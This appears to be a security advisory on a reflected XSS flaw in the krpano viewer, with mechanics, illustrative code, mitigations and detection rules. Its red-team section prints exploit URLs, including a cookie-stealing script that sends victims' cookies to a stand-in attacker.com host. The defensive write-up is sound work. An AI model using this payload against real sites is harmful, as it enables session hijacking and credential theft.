CVE-2025-65892

Executive Summary

CVE-2025-65892 is a Reflected Cross-Site Scripting (rXSS) vulnerability in the krpano panorama viewer software, affecting versions prior to 1.23.2. A remote, unauthenticated attacker can execute arbitrary JavaScript in a victim's browser by crafting a malicious URL that leverages the passQueryParameters function when the xml parameter is enabled. This vulnerability allows for session hijacking, credential theft, and defacement. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium. No public exploit code or Nuclei templates are available at this time.

Supply Chain & Package Security

krpano is a commercial software package distributed via its official website. There is no NPM, PyPI, Go, or Ruby package associated with this vulnerability. Users should verify the integrity of downloaded binaries from the official vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (SC): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 6.1). The requirement for user interaction reduces the risk, but the lack of authentication and potential for widespread phishing campaigns makes this a significant threat.

Deep Dive & Mechanics

The vulnerability resides in the passQueryParameters function of krpano. When the xml parameter is enabled, the function passes URL query parameters directly into the viewer's XML configuration without proper sanitization. An attacker can inject malicious JavaScript code into a query parameter (e.g., ?xml=<script>alert(1)</script>). When a victim visits the crafted URL, the injected script executes in the context of the victim's browser, allowing the attacker to steal cookies, redirect the user, or perform other malicious actions.

The root cause is insufficient input validation and output encoding. The passQueryParameters function should treat all user-supplied data as untrusted and encode it before embedding it into the XML context.

Vulnerable vs. Patched Code

Vulnerable Code (krpano < 1.23.2):

// Simplified example of vulnerable passQueryParameters
function passQueryParameters() {
    var params = new URLSearchParams(window.location.search);
    var xmlParam = params.get('xml');
    if (xmlParam) {
        // Directly injects user input into XML without sanitization
        viewer.loadXML(xmlParam);
    }
}

Patched Code (krpano >= 1.23.2):

// Simplified example of patched passQueryParameters
function passQueryParameters() {
    var params = new URLSearchParams(window.location.search);
    var xmlParam = params.get('xml');
    if (xmlParam) {
        // Sanitize input by encoding HTML entities
        var sanitized = xmlParam.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;');
        viewer.loadXML(sanitized);
    }
}

The patch introduces HTML entity encoding to neutralize script injection attempts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running krpano < 1.23.2 with the xml parameter enabled.
• A victim who clicks a crafted link.

Exploit URL:

http://target.com/krpano/viewer.html?xml=<script>alert('XSS')</script>

Advanced Payload (Cookie Stealing):

http://target.com/krpano/viewer.html?xml=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Lab Setup:

1. Deploy a vulnerable krpano instance (e.g., version 1.23.1) on a local web server.
2. Use a simple HTTP server to capture stolen cookies (e.g., python3 -m http.server 80).
3. Craft the exploit URL and send it to a test victim (e.g., via email or chat).
4. Observe the cookie exfiltration in the attacker's server logs.

Blue Team (Defense)

Detection:

• Monitor web server logs for URLs containing xml= followed by <script> or other HTML tags.
• Use WAF rules to block requests with suspicious xml parameter values.

Mitigation:

• Upgrade to krpano 1.23.2 or later.
• If upgrade is not possible, disable the xml parameter in the krpano configuration.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing xml=<script> or similar patterns in the query string.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• File IOCs:
  • Modified krpano configuration files enabling passQueryParameters with xml parameter.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of krpano viewer pages.
  • Unusual cookie exfiltration attempts.

Detection Engineering

YARA Rule

rule CVE_2025_65892_krpano_rXSS {
    meta:
        description = "Detects exploitation attempts of CVE-2025-65892 in krpano"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65892"
    strings:
        $xml_param = "xml=" nocase
        $script_tag = "<script" nocase
        $onerror = "onerror=" nocase
        $onload = "onload=" nocase
    condition:
        $xml_param and ($script_tag or $onerror or $onload)
}

Sigma Rule

title: CVE-2025-65892 krpano Reflected XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-65892 in krpano
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "xml="
        cs-uri-query|contains|any:
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of XML parameters with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-65892 krpano Reflected XSS Attempt"; flow:to_server,established; content:"xml="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade krpano to version 1.23.2 or later.
2. If upgrade is not possible, disable the xml parameter in the krpano configuration file.
3. Implement a Web Application Firewall (WAF) rule to block requests containing xml= followed by HTML tags.

Long-Term Measures:

• Conduct a security audit of all krpano deployments.
• Enforce Content Security Policy (CSP) headers to restrict inline script execution.
• Educate users about phishing attacks that exploit this vulnerability.

Patch Details: The vendor has released version 1.23.2 which addresses this issue. Users should download the latest version from the official krpano website and apply the update immediately.

Valters IT